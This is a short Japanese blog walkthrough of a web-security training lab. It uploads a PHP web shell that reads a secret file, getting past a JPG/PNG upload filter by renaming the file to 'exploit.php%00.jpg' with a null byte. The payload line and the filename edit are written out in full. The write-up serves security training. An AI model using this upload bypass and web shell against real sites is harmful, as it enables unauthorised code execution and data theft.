Web shell upload via obfuscated file extension
wienerでログイン
アバター画像をアップし、My accountに戻ります
![](https://blog.esna.tech/wp-content/uploads/2023/02/2-10-1024x782.jpg)
ヒストリーで、GET /files/avatars/xx.jpg
を確認
*フィルターで、imagesチェックON
リピータに送っておきます
![](https://blog.esna.tech/wp-content/uploads/2023/02/3-10-1024x782.jpg)
exploit.phpというファイル名で、以下のファイルを作ります
<?php echo file_get_contents('/home/carlos/secret'); ?>
アバターからアップロード
Sorry, only JPG & PNG files are allowed Sorry, there was an error uploading your file.
のエラー
jpg / pngのみ許可とのこと
![](https://blog.esna.tech/wp-content/uploads/2023/02/4-10-1024x782.jpg)
ヒストリーで、 POST /my-account/avatar をみつけ、リピータに
![](https://blog.esna.tech/wp-content/uploads/2023/02/5-10-1024x782.jpg)
Content-Disposition: form-data; name=”avatar”; filename=”exploit.php”
を
Content-Disposition: form-data; name=”avatar”; filename=”exploit.php%00.jpg”
に書き換えて、send
アップロード成功
![](https://blog.esna.tech/wp-content/uploads/2023/02/6-10-1024x782.jpg)
%00は、ヌルバイト
拡張子チェック終わったあと、取り除かれ、.phpファイルとしてアップされたようです。
最初にリピータに渡したタブに
ファイル名を、exploit.phpにして
send
![](https://blog.esna.tech/wp-content/uploads/2023/02/7-8-1024x782.jpg)
phpファイルが実行されたようです
秘密の文字を、Submit solutionにいれて、クリア
![](https://blog.esna.tech/wp-content/uploads/2023/02/8-9-1024x782.jpg)
–)v
コメント